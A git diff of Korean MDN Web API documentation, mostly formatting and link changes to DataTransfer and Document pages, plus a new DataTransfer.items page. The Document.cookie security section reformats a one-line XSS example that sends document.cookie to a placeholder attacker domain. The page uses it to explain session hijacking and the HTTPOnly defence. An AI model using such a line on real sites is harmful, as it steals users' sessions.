+++ b/files/ko/web/api/crypto/index.md
@@ -25,4 +25,4 @@ _이 인터페이스는 {{domxref("RandomSource")}}에 정의된 속성을 구
 
 ## 더보기
 
-- [Components.utils.importGlobalProperties](/en-US/docs/Components.utils.importGlobalProperties)
+- [Components.utils.importGlobalProperties](/ko/docs/Components.utils.importGlobalProperties)
diff --git a/files/ko/web/api/datatransfer/getdata/index.md b/files/ko/web/api/datatransfer/getdata/index.md
index 77954dbc0fb35c..de20e89a7682c7 100644
--- a/files/ko/web/api/datatransfer/getdata/index.md
+++ b/files/ko/web/api/datatransfer/getdata/index.md
@@ -2,6 +2,7 @@
 title: DataTransfer.getData()
 slug: Web/API/DataTransfer/getData
 ---
+
 {{APIRef("HTML DOM")}}
 
 **`DataTransfer.getData()`** 메소드는 특정 형태를 위해 ({{domxref("DOMString")}}로) 끌어낸 데이터를 회수한다. 가령, 끌어내는 동작이 데이터를 포함하지 않는다면, 이 메소드는 빈 문자열을 반환한다.
@@ -32,7 +33,9 @@ dataTransfer.getData(format);
 
 ```html
 <div id="div1" ondrop="drop(event)" ondragover="allowDrop(event)">
-    <span id="drag" draggable="true" ondragstart="drag(event)">drag me to the other box</span>
+  <span id="drag" draggable="true" ondragstart="drag(event)"
+    >drag me to the other box</span
+  >
 </div>
 <div id="div2" ondrop="drop(event)" ondragover="allowDrop(event)"></div>
 ```
@@ -40,11 +43,12 @@ dataTransfer.getData(format);
 ### CSS 내용
 
 ```css
-#div1, #div2 {
-    width:100px;
-    height:50px;
-    padding:10px;
-    border:1px solid #aaaaaa;
+#div1,
+#div2 {
+  width: 100px;
+  height: 50px;
+  padding: 10px;
+  border: 1px solid #aaaaaa;
 }
 ```
 
@@ -52,20 +56,20 @@ dataTransfer.getData(format);
 
 ```js
 function allowDrop(allowdropevent) {
-    allowdropevent.target.style.color = 'blue';
-    allowdropevent.preventDefault();
+  allowdropevent.target.style.color = "blue";
+  allowdropevent.preventDefault();
 }
 
 function drag(dragevent) {
-    dragevent.dataTransfer.setData("text", dragevent.target.id);
-    dragevent.target.style.color = 'green';
+  dragevent.dataTransfer.setData("text", dragevent.target.id);
+  dragevent.target.style.color = "green";
 }
 
 function drop(dropevent) {
-    dropevent.preventDefault();
-    var data = dropevent.dataTransfer.getData("text");
-    dropevent.target.appendChild(document.getElementById(data));
-    document.getElementById("drag").style.color = 'black';
+  dropevent.preventDefault();
+  var data = dropevent.dataTransfer.getData("text");
+  dropevent.target.appendChild(document.getElementById(data));
+  document.getElementById("drag").style.color = "black";
 }
 ```
 
diff --git a/files/ko/web/api/datatransfer/items/index.md b/files/ko/web/api/datatransfer/items/index.md
new file mode 100644
index 00000000000000..5ea8a126284d84
--- /dev/null
+++ b/files/ko/web/api/datatransfer/items/index.md
@@ -0,0 +1,108 @@
+---
+title: "DataTransfer: items 속성"
+short-title: items
+slug: Web/API/DataTransfer/items
+l10n:
+  sourceCommit: 53b1989260054e651bcf001bacee9b843b8ca9c8
+---
+
+{{APIRef("HTML Drag and Drop API")}}
+
+읽기 전용 {{domxref("DataTransfer")}}의 `items` 속성은 드래그 작업에서 {{domxref("DataTransferItem","데이터 전송 항목", "", "nocode")}}의 {{domxref("DataTransferItemList","목록")}}입니다. 목록은 작업의 각 항목에 대해 하나의 항목이 포함되며 작업에 항목이 없으면 목록은 비어 있습니다.
+
+## 값
+
+드래그 작업에서 드래그되는 항목을 나타내는 {{domxref("DataTransferItem")}} 객체를 포함하는 {{domxref("DataTransferItemList")}} 객체입니다. 드래그되는 각 객체에 대해 하나의 목록 항목이 있습니다. 드래그 작업에 데이터가 없으면 목록은 비어 있습니다.
+
+## 예제
+
+### 드래그된 항목 로깅
+
+이 예제는 드래그된 항목에 대한 정보를 기록하기 위해 `items`를 사용합니다.
+
+#### HTML
+
+```html
+<ul>
+  <li id="source1" draggable="true">Drag Item 1 to the Drop Zone</li>
+  <li id="source2" draggable="true">Drag Item 2 to the Drop Zone</li>
+</ul>
+<div id="target">Drop Zone</div>
+
+<button id="reset">Reset</button>
+```
+
+#### CSS
+
+```css
+div {
+  margin: 0em;
+  padding: 2em;
+}
+
+#target {
+  border: 1px solid black;
+}
+```
+
+#### JavaScript
+
+```js
+function dragstartHandler(ev) {
+  console.log(`dragstart: target.id = ${ev.target.id}`);
+  // 요소의 id를 드래그 페이로드에 추가합니다.
+  // 그러면 드롭 핸들러가 트리에 추가할 요소를 알 수 있습니다.
+  ev.dataTransfer.setData("text/plain", ev.target.id);
+  ev.dataTransfer.effectAllowed = "move";
+}
+
+function dropHandler(ev) {
+  ev.preventDefault();
+  // 대상의 id를 가져오고 이동된 요소를 대상의 DOM에 추가합니다.
+  const data = ev.dataTransfer.getData("text");
+  ev.target.appendChild(document.getElementById(data));
+  // 각 항목의 "kind"와 "type"을 출력합니다.
+  if (ev.dataTransfer.items) {
+    for (const item of ev.dataTransfer.items) {
+      console.log(`kind = ${item.kind}, type = ${item.type}`);
+    }
+  }
+}
+
+function dragoverHandler(ev) {
+  ev.preventDefault();
+  // 이동할 dropEffect를 설정합니다.
+  ev.dataTransfer.dropEffect = "move";
+}
+
+const source1 = document.querySelector("#source1");
+const source2 = document.querySelector("#source2");
+const target = document.querySelector("#target");
+
+source1.addEventListener("dragstart", dragstartHandler);
+source2.addEventListener("dragstart", dragstartHandler);
+target.addEventListener("dragover", dragoverHandler);
+target.addEventListener("drop", dropHandler);
+
+const reset = document.querySelector("#reset");
+reset.addEventListener("click", () => document.location.reload());
+```
+
+#### 결과
+
+{{EmbedLiveSample("Logging dragged items", 0, 400)}}
+
+## 명세서
+
+{{Specifications}}
+
+## 브라우저 호환성
+
+{{Compat}}
+
+## 같이 보기
+
+- [HTML 드래그 앤 드롭 API](/ko/docs/Web/API/HTML_Drag_and_Drop_API)
+- [Drag Operations](/ko/docs/Web/API/HTML_Drag_and_Drop_API/Drag_operations)
+- [Recommended Drag Types](/ko/docs/Web/API/HTML_Drag_and_Drop_API/Recommended_drag_types)
+- [DataTransfer test - Paste or Drag](https://codepen.io/tech_query/pen/MqGgap)
diff --git a/files/ko/web/api/document/activeelement/index.md b/files/ko/web/api/document/activeelement/index.md
index 2bab0b40d590a9..57815524821e49 100644
--- a/files/ko/web/api/document/activeelement/index.md
+++ b/files/ko/web/api/document/activeelement/index.md
@@ -17,7 +17,7 @@ original_slug: Web/API/DocumentOrShadowRoot/activeElement
 ## 구문
 
 ```js
-element = DocumentOrShadowRoot.activeElement
+element = DocumentOrShadowRoot.activeElement;
 ```
 
 ### 값
@@ -32,8 +32,12 @@ element = DocumentOrShadowRoot.activeElement
 <p>아래 두 영역에서 텍스트를 선택해보세요.</p>
 
 <form>
-  <textarea name="ta-example-one" id="ta-example-one" rows="7" cols="40">텍스트 영역 1. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.</textarea>
-  <textarea name="ta-example-two" id="ta-example-two" rows="7" cols="40">텍스트 영역 2. Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam.</textarea>
+  <textarea name="ta-example-one" id="ta-example-one" rows="7" cols="40">
+텍스트 영역 1. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.</textarea
+  >
+  <textarea name="ta-example-two" id="ta-example-two" rows="7" cols="40">
+텍스트 영역 2. Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam.</textarea
+  >
 </form>
 
 <p>활성화된 요소 ID: <b id="output-element"></b></p>
@@ -46,19 +50,20 @@ element = DocumentOrShadowRoot.activeElement
 function onMouseUp(e) {
   const activeTextarea = document.activeElement;
   const selection = activeTextarea.value.substring(
-    activeTextarea.selectionStart, activeTextarea.selectionEnd
+    activeTextarea.selectionStart,
+    activeTextarea.selectionEnd,
   );
 
-  const outputElement = document.getElementById('output-element');
-  const outputText = document.getElementById('output-text');
+  const outputElement = document.getElementById("output-element");
+  const outputText = document.getElementById("output-text");
   outputElement.innerHTML = activeTextarea.id;
   outputText.innerHTML = selection;
 }
 
-const textarea1 = document.getElementById('ta-example-one');
-const textarea2 = document.getElementById('ta-example-two');
-textarea1.addEventListener('mouseup', onMouseUp, false);
-textarea2.addEventListener('mouseup', onMouseUp, false);
+const textarea1 = document.getElementById("ta-example-one");
+const textarea2 = document.getElementById("ta-example-two");
+textarea1.addEventListener("mouseup", onMouseUp, false);
+textarea2.addEventListener("mouseup", onMouseUp, false);
 ```
 
 ### 결과
diff --git a/files/ko/web/api/document/adoptnode/index.md b/files/ko/web/api/document/adoptnode/index.md
index f60cf8c7a8c6a0..26e86d694c5874 100644
--- a/files/ko/web/api/document/adoptnode/index.md
+++ b/files/ko/web/api/document/adoptnode/index.md
@@ -5,7 +5,7 @@ slug: Web/API/Document/adoptNode
 
 {{ ApiRef("DOM") }}
 
-외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 [`ownerDocument`](/en-US/docs/DOM/Node.ownerDocument) 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다.
+외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 [`ownerDocument`](/ko/docs/DOM/Node.ownerDocument) 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다.
 
 **Gecko 1.9 (Firefox 3)부터 지원**
 
diff --git a/files/ko/web/api/document/all/index.md b/files/ko/web/api/document/all/index.md
index ca4e863c75ed05..92fb4055c7dda2 100644
--- a/files/ko/web/api/document/all/index.md
+++ b/files/ko/web/api/document/all/index.md
@@ -2,6 +2,7 @@
 title: Document.all
 slug: Web/API/Document/all
 ---
+
 {{APIRef("DOM")}}{{SeeCompatTable}}
 
 {{DOMxRef("Document")}} 인터페이스의 read-only **`all`** 요소는 document node에 위치한{{DOMxRef("HTMLAllCollection")}} 반환한다. 간단하게 말하면 read-only **`all`** 요소는 페이지의 모든 contents를 반환 해준다.
diff --git a/files/ko/web/api/document/anchors/index.md b/files/ko/web/api/document/anchors/index.md
index 5e3f01d696448e..ae4db4db2125f6 100644
--- a/files/ko/web/api/document/anchors/index.md
+++ b/files/ko/web/api/document/anchors/index.md
@@ -2,6 +2,7 @@
 title: document.anchors
 slug: Web/API/Document/anchors
 ---
+
 {{APIRef("DOM")}} {{deprecated_header()}}
 
 {{domxref("Document")}} 인터페이스의 **`anchors`** 읽기 전용 속성은 문서 내의 모든 앵커 목록을 반환합니다.
@@ -9,9 +10,9 @@ slug: Web/API/Document/anchors
 ## 예제
 
 ```js
-if ( document.anchors.length >= 5 ) {
-    dump("dump found too many anchors");
-    window.location = "http://www.google.com";
+if (document.anchors.length >= 5) {
+  dump("dump found too many anchors");
+  window.location = "http://www.google.com";
 }
 ```
 
diff --git a/files/ko/web/api/document/applets/index.md b/files/ko/web/api/document/applets/index.md
index 8d2e617d8449ce..057dd7d01c921b 100644
--- a/files/ko/web/api/document/applets/index.md
+++ b/files/ko/web/api/document/applets/index.md
@@ -12,7 +12,7 @@ slug: Web/API/Document/applets
 ## 문법
 
 ```js
-nodeList = document.applets
+nodeList = document.applets;
 ```
 
 ## 예제
diff --git a/files/ko/web/api/document/body/index.md b/files/ko/web/api/document/body/index.md
index 71e7269a004eae..be556088e324ef 100644
--- a/files/ko/web/api/document/body/index.md
+++ b/files/ko/web/api/document/body/index.md
@@ -2,6 +2,7 @@
 title: Document.body
 slug: Web/API/Document/body
 ---
+
 {{APIRef("DOM")}}
 
 `Document.body` 속성은 현재 문서의 {{htmlelement("body")}} 혹은 {{htmlelement("frameset")}} 노드를 나타냅니다. 일치하는 요소가 존재하지 않으면 `null`을 반환합니다.
@@ -9,8 +10,8 @@ slug: Web/API/Document/body
 ## 구문
 
 ```js
-const objRef = document.body
-document.body = objRef
+const objRef = document.body;
+document.body = objRef;
 ```
 
 ## 예제
diff --git a/files/ko/web/api/document/characterset/index.md b/files/ko/web/api/document/characterset/index.md
index 6f881ca76bc4fa..1e520350dd2f6d 100644
--- a/files/ko/web/api/document/characterset/index.md
+++ b/files/ko/web/api/document/characterset/index.md
@@ -2,6 +2,7 @@
 title: Document.characterSet
 slug: Web/API/Document/characterSet
 ---
+
 {{ ApiRef("DOM") }}
 
 **`Document.characterSet`** 읽기 전용 속성은 현재 문서가 렌더링에 사용하는 [문자 인코딩](/ko/docs/Glossary/character_encoding)을 반환합니다.
diff --git a/files/ko/web/api/document/compatmode/index.md b/files/ko/web/api/document/compatmode/index.md
index d6f052426ac9c4..72cafcdc9dc30c 100644
--- a/files/ko/web/api/document/compatmode/index.md
+++ b/files/ko/web/api/document/compatmode/index.md
@@ -10,7 +10,7 @@ slug: Web/API/Document/compatMode
 ## 구문
 
 ```js
-const mode = document.compatMode
+const mode = document.compatMode;
 ```
 
 ### 값
diff --git a/files/ko/web/api/document/cookie/index.md b/files/ko/web/api/document/cookie/index.md
index e0f8a6395a6bd3..04d010eeddfd81 100644
--- a/files/ko/web/api/document/cookie/index.md
+++ b/files/ko/web/api/document/cookie/index.md
@@ -2,6 +2,7 @@
 title: Document.cookie
 slug: Web/API/Document/cookie
 ---
+
 {{APIRef("DOM")}}
 
 {{domxref("Document")}} `cookie` 는 document와 연관된 [cookies](/ko/docs/Web/HTTP/Cookies) 를 읽고 쓸 수 있게 해준다. 쿠키의 실제값에 대한 getter 와 setter로 작동한다.
@@ -85,9 +86,9 @@ document.cookie = "test1=Hello";
 document.cookie = "test2=World";
 
 const cookieValue = document.cookie
-  .split('; ')
-  .find(row => row.startsWith('test2'))
-  .split('=')[1];
+  .split("; ")
+  .find((row) => row.startsWith("test2"))
+  .split("=")[1];
 
 function alertCookieValue() {
   alert(cookieValue);
@@ -106,9 +107,14 @@ In order to use the following code, please replace all occurrences of the word `
 
 ```js
 function doOnce() {
-  if (!document.cookie.split('; ').find(row => row.startsWith('doSomethingOnlyOnce'))) {
+  if (
+    !document.cookie
+      .split("; ")
+      .find((row) => row.startsWith("doSomethingOnlyOnce"))
+  ) {
     alert("Do something here!");
-    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
+    document.cookie =
+      "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
   }
 }
 ```
@@ -123,7 +129,8 @@ function doOnce() {
 
 ```js
 function resetOnce() {
-  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
+  document.cookie =
+    "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
 }
 ```
 
@@ -138,16 +145,20 @@ function resetOnce() {
 ```js
 //ES5
 
-if (document.cookie.split(';').some(function(item) {
-    return item.trim().indexOf('reader=') == 0
-})) {
-    console.log('The cookie "reader" exists (ES5)')
+if (
+  document.cookie.split(";").some(function (item) {
+    return item.trim().indexOf("reader=") == 0;
+  })
+) {
+  console.log('The cookie "reader" exists (ES5)');
 }
 
 //ES2016
 
-if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) {
-    console.log('The cookie "reader" exists (ES6)')
+if (
+  document.cookie.split(";").some((item) => item.trim().startsWith("reader="))
+) {
+  console.log('The cookie "reader" exists (ES6)');
 }
 ```
 
@@ -156,16 +167,18 @@ if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))
 ```js
 //ES5
 
-if (document.cookie.split(';').some(function(item) {
-    return item.indexOf('reader=1') >= 0
-})) {
-    console.log('The cookie "reader" has "1" for value')
+if (
+  document.cookie.split(";").some(function (item) {
+    return item.indexOf("reader=1") >= 0;
+  })
+) {
+  console.log('The cookie "reader" has "1" for value');
 }
 
 //ES2016
 
-if (document.cookie.split(';').some((item) => item.includes('reader=1'))) {
-    console.log('The cookie "reader" has "1" for value')
+if (document.cookie.split(";").some((item) => item.includes("reader=1"))) {
+  console.log('The cookie "reader" has "1" for value');
 }
 ```
 
@@ -176,7 +189,8 @@ It is important to note that the `path` attribute does _not_ protect against una
 Cookies are often used in web application to identify a user and their authenticated session. So stealing the cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -
 
 ```js
-(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+new Image().src =
+  "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
 ```
 
 The `HTTPOnly` cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about [Cookies and Security](http://www.nczonline.net/blog/2009/05/12/cookies-and-security/).
diff --git a/files/ko/web/api/document/copy_event/index.md b/files/ko/web/api/document/copy_event/index.md
index a969bd940aa549..d2836cb61d23af 100644
--- a/files/ko/web/api/document/copy_event/index.md
+++ b/files/ko/web/api/document/copy_event/index.md
@@ -1,7 +1,8 @@
 ---
-title: 'Document: copy 이벤트'
+title: "Document: copy 이벤트"
 slug: Web/API/Document/copy_event
 ---
+
 {{APIRef}}
 
 **`copy`** 이벤트는 사용자가 브라우저의 사용자 인터페이스를 통해 복사했을 때 발생합니다.
@@ -32,8 +33,8 @@ slug: Web/API/Document/copy_event
 ## 예제
 
 ```js
-document.addEventListener('copy', (event) => {
-    console.log('복사 동작 실행')
+document.addEventListener("copy", (event) => {
+  console.log("복사 동작 실행");
 });
 ```
 
diff --git a/files/ko/web/api/document/createdocumentfragment/index.md b/files/ko/web/api/document/createdocumentfragment/index.md
index 43c85943226b8c..0596e1981859ec 100644
--- a/files/ko/web/api/document/createdocumentfragment/index.md
+++ b/files/ko/web/api/document/createdocumentfragment/index.md
@@ -26,10 +26,9 @@ var docFragment = document.createDocumentFragment();
 ```js
 var ul = document.getElementsByTagName("ul")[0]; // assuming it exists
 var docfrag = document.createDocumentFragment();
-var browserList = ["Internet Explorer", "Firefox", "Safari",
-    "Chrome", "Opera"];
+var browserList = ["Internet Explorer", "Firefox", "Safari", "Chrome", "Opera"];
 
-browserList.forEach(function(e) {
+browserList.forEach(function (e) {
   var li = document.createElement("li");
   li.textContent = e;
   docfrag.appendChild(li);
diff --git a/files/ko/web/api/document/createelement/index.md b/files/ko/web/api/document/createelement/index.md
index bf45bf4059e008..b5d0eb983e90f1 100644
--- a/files/ko/web/api/document/createelement/index.md
+++ b/files/ko/web/api/document/createelement/index.md
@@ -2,6 +2,7 @@
 title: Document.createElement()
 slug: Web/API/Document/createElement
 ---
+
 {{APIRef("DOM")}}
 
 HTML 문서에서, **`Document.createElement()`** 메서드는 지정한 `tagName`의 HTML 요소를 만들어 반환합니다. `tagName`을 인식할 수 없으면 {{domxref("HTMLUnknownElement")}}를 대신 반환합니다.
@@ -30,14 +31,14 @@ let element = document.createElement(tagName[, options]);
 #### HTML
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html>
-<head>
-  <title>||Working with elements||</title>
-</head>
-<body>
-  <div id="div1">위의 텍스트는 동적으로 추가했습니다.</div>
-</body>
+  <head>
+    <title>||Working with elements||</title>
+  </head>
+  <body>
+    <div id="div1">위의 텍스트는 동적으로 추가했습니다.</div>
+  </body>
 </html>
 ```
 
@@ -46,7 +47,7 @@ let element = document.createElement(tagName[, options]);
 ```js
 document.body.onload = addElement;
 
-function addElement () {
+function addElement() {
   // create a new div element
   var newDiv = document.createElement("div");
   // and give it some content
diff --git a/files/ko/web/api/document/createevent/index.md b/files/ko/web/api/document/createevent/index.md
index 60418b7080af51..c1ccbfbb71bae1 100644
--- a/files/ko/web/api/document/createevent/index.md
+++ b/files/ko/web/api/document/createevent/index.md
@@ -3,6 +3,7 @@ title: Event.createEvent()
 slug: Web/API/Document/createEvent
 original_slug: Web/API/Event/createEvent
 ---
+
 {{APIRef("DOM")}}
 
 새로운 event를 생성합니다, 새로 만들어진 event는 반드시 자신의 init() method를 호출함으로써 초기화되어야만 합니다.
@@ -10,7 +11,7 @@ original_slug: Web/API/Event/createEvent
 ### Syntax
 
 ```js
-document.createEvent(type)
+document.createEvent(type);
 ```
 
 - `type`
diff --git a/files/ko/web/api/document/createnodeiterator/index.md b/files/ko/web/api/document/createnodeiterator/index.md
index 894142990d1c21..7e0841b37f3499 100644
--- a/files/ko/web/api/document/createnodeiterator/index.md
+++ b/files/ko/web/api/document/createnodeiterator/index.md
@@ -19,34 +19,35 @@ _This interface neither implements, nor inherits, any properties._
 _This interface doesn't inherit any methods._
 
 - {{domxref("NodeFilter.acceptNode()")}}
-  - | : Returns an `unsigned short` that will be used to tell if a given {{domxref("Node")}} must be accepted or not by the {{ domxref("NodeIterator") }} or {{ domxref("TreeWalker") }} iteration algorithm. This method is expected to be written by the user of a `NodeFilter`. Possible return values are: | Constant                                                                                                                                                                                                                                                                                                           | Description |
-    | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------- |
-    | `FILTER_ACCEPT`                                                                                                                                                                                                                                                                                                                   | Value returned by the {{ domxref("NodeFilter.acceptNode()") }} method when a node should be accepted.                                                                                                                                                                                                  |
-    | `FILTER_REJECT`                                                                                                                                                                                                                                                                                                                   | Value to be returned by the {{ domxref("NodeFilter.acceptNode()") }} method when a node should be rejected. For {{ domxref("TreeWalker") }}, child nodes are also rejected. For {{ domxref("NodeIterator") }}, this flag is synonymous with FILTER_SKIP.                           |
-    | `FILTER_SKIP`                                                                                                                                                                                                                                                                                                                     | Value to be returned by {{ domxref("NodeFilter.acceptNode()") }} for nodes to be skipped by the {{ domxref("NodeIterator") }} or {{ domxref("TreeWalker") }} object. The children of skipped nodes are still considered. This is treated as "skip this node but not its children". |
+  - | : Returns an `unsigned short` that will be used to tell if a given {{domxref("Node")}} must be accepted or not by the {{ domxref("NodeIterator") }} or {{ domxref("TreeWalker") }} iteration algorithm. This method is expected to be written by the user of a `NodeFilter`. Possible return values are: | Constant                                                                                                                                                                                                                                                                           | Description |
+    | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------- |
+    | `FILTER_ACCEPT`                                                                                                                                                                                                                                                                                          | Value returned by the {{ domxref("NodeFilter.acceptNode()") }} method when a node should be accepted.                                                                                                                                                                              |
+    | `FILTER_REJECT`                                                                                                                                                                                                                                                                                          | Value to be returned by the {{ domxref("NodeFilter.acceptNode()") }} method when a node should be rejected. For {{ domxref("TreeWalker") }}, child nodes are also rejected. For {{ domxref("NodeIterator") }}, this flag is synonymous with FILTER_SKIP.                           |
+    | `FILTER_SKIP`                                                                                                                                                                                                                                                                                            | Value to be returned by {{ domxref("NodeFilter.acceptNode()") }} for nodes to be skipped by the {{ domxref("NodeIterator") }} or {{ domxref("TreeWalker") }} object. The children of skipped nodes are still considered. This is treated as "skip this node but not its children". |
 
 ## Example
 
 ```js
 var nodeIterator = document.createNodeIterator(
   // Node to use as root
-  document.getElementById('someId'),
+  document.getElementById("someId"),
 
   // Only consider nodes that are text nodes (nodeType 3)
   NodeFilter.SHOW_TEXT,
 
   // Object containing the function to use for the acceptNode method
   // of the NodeFilter
-    { acceptNode: function(node) {
+  {
+    acceptNode: function (node) {
       // Logic to determine whether to accept, reject or skip node
       // In this case, only accept nodes that have content
       // other than whitespace
-      if ( ! /^\s*$/.test(node.data) ) {
+      if (!/^\s*$/.test(node.data)) {
         return NodeFilter.FILTER_ACCEPT;
       }
-    }
+    },
   },
-  false
+  false,
 );
 
 // Show the content of every non-empty text node that is a child of root
diff --git a/files/ko/web/api/document/createtextnode/index.md b/files/ko/web/api/document/createtextnode/index.md
index 74ae6187b8bc31..8a44dde282f5d0 100644
--- a/files/ko/web/api/document/createtextnode/index.md
+++ b/files/ko/web/api/document/createtextnode/index.md
@@ -2,6 +2,7 @@
 title: Document.createTextNode()
 slug: Web/API/Document/createTextNode
 ---
+
 {{APIRef("DOM")}}
 
 ### 요약
@@ -23,29 +24,26 @@ slug: Web/API/Document/createTextNode
 
 ```html
 <html>
-<head>
-<title>createTextNode 예제</title>
-
-<script type="text/javascript">
-
-function addTextNode()
-{
-    var newtext = document.createTextNode(" 동적으로 추가되는 텍스트. ");
-    var para = document.getElementById("p1");
-    para.appendChild(newtext);
-}
-
-</script>
-</head>
-
-<body>
-<div style="border: 1px solid red">
-<p id="p1">단락의 첫번째 줄.<br /></p>
-</div><br />
-
-<button onclick="addTextNode();">TextNode 추가하기.</button>
-
-</body>
+  <head>
+    <title>createTextNode 예제</title>
+
+    <script type="text/javascript">
+      function addTextNode() {
+        var newtext = document.createTextNode(" 동적으로 추가되는 텍스트. ");
+        var para = document.getElementById("p1");
+        para.appendChild(newtext);
+      }
+    </script>
+  </head>
+
+  <body>
+    <div style="border: 1px solid red">
+      <p id="p1">단락의 첫번째 줄.<br /></p>
+    </div>
+    <br />
+
+    <button onclick="addTextNode();">TextNode 추가하기.</button>
+  </body>
 </html>
 ```
 
diff --git a/files/ko/web/api/document/createtreewalker/index.md b/files/ko/web/api/document/createtreewalker/index.md
index 4b77e98ba74d98..5a22f233f43e22 100644
--- a/files/ko/web/api/document/createtreewalker/index.md
+++ b/files/ko/web/api/document/createtreewalker/index.md
@@ -2,6 +2,7 @@
 title: Document.createTreeWalker()
 slug: Web/API/Document/createTreeWalker
 ---
+
 {{ApiRef("Document")}}
 
 **`Document.createTreeWalker()`** 메소드는 새로운 {{domxref("TreeWalker")}} 객체를 반환합니다.
@@ -17,21 +18,21 @@ document.createTreeWalker(root, whatToShow[, filter[, entityReferenceExpansion]]
 - `root`
   - : 이 {{domxref("TreeWalker")}} 순회의 루트 {{domxref("Node")}}이다. 이것은 보통 이 문서 소유의 한 엘리먼트이다.
 - `whatToShow` {{optional_inline}}
-  - | : [`NodeFilter`](http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter)의 상수 프라퍼티들을 조합하여 만든 비트마스크를 나타내는 선택적인 `unsigned long` 이다. 이것은 특정 유형의 노드를 필터링하는 편리한 방법이다. 기본값은 `SHOW_ALL` 상수를 나타내는 `0xFFFFFFFF`이다. | 상수                             | 숫자 값                                                                                                                                                                                                                                                                                                                                                                                                                 | 설명 |
-    | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---- |
-    | `NodeFilter.SHOW_ALL`                                                                                                                                                                                                                                                                                     | `-1` (`unsigned long의 최대 값`) | Shows all nodes.                                                                                                                                                                                                                                                                                                                                                                                                        |
-    | `NodeFilter.SHOW_ATTRIBUTE` {{deprecated_inline}}                                                                                                                                                                                                                                                  | `2`                              | Shows attribute {{domxref("Attr")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Attr")}} node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. Since attributes are never children of other nodes, they do not appear when traversing over the document tree.              |
-    | `NodeFilter.SHOW_CDATA_SECTION` {{deprecated_inline}}                                                                                                                                                                                                                                              | `8`                              | Shows {{domxref("CDATASection")}} nodes.                                                                                                                                                                                                                                                                                                                                                                       |
-    | `NodeFilter.SHOW_COMMENT`                                                                                                                                                                                                                                                                                 | `128`                            | Shows {{domxref("Comment")}} nodes.                                                                                                                                                                                                                                                                                                                                                                               |
-    | `NodeFilter.SHOW_DOCUMENT`                                                                                                                                                                                                                                                                                | `256`                            | Shows {{domxref("Document")}} nodes.                                                                                                                                                                                                                                                                                                                                                                           |
-    | `NodeFilter.SHOW_DOCUMENT_FRAGMENT`                                                                                                                                                                                                                                                                       | `1024`                           | Shows {{domxref("DocumentFragment")}} nodes.                                                                                                                                                                                                                                                                                                                                                                   |
-    | `NodeFilter.SHOW_DOCUMENT_TYPE`                                                                                                                                                                                                                                                                           | `512`                            | Shows {{domxref("DocumentType")}} nodes.                                                                                                                                                                                                                                                                                                                                                                       |
-    | `NodeFilter.SHOW_ELEMENT`                                                                                                                                                                                                                                                                                 | `1`                              | Shows {{domxref("Element")}} nodes.                                                                                                                                                                                                                                                                                                                                                                               |
-    | `NodeFilter.SHOW_ENTITY` {{deprecated_inline}}                                                                                                                                                                                                                                                     | `32`                             | Shows {{domxref("Entity")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Entity")}} node as its root; in this case, it means that the {{domxref("Entity")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.            |
-    | `NodeFilter.SHOW_ENTITY_REFERENCE` {{deprecated_inline}}                                                                                                                                                                                                                                           | `16`                             | Shows {{domxref("EntityReference")}} nodes.                                                                                                                                                                                                                                                                                                                                                                   |
-    | `NodeFilter.SHOW_NOTATION` {{deprecated_inline}}                                                                                                                                                                                                                                                   | `2048`                           | Shows {{domxref("Notation")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with a {{domxref("Notation")}} node as its root; in this case, it means that the {{domxref("Notation")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree. |
-    | `NodeFilter.SHOW_PROCESSING_INSTRUCTION`                                                                                                                                                                                                                                                                  | `64`                             | Shows {{domxref("ProcessingInstruction")}} nodes.                                                                                                                                                                                                                                                                                                                                                           |
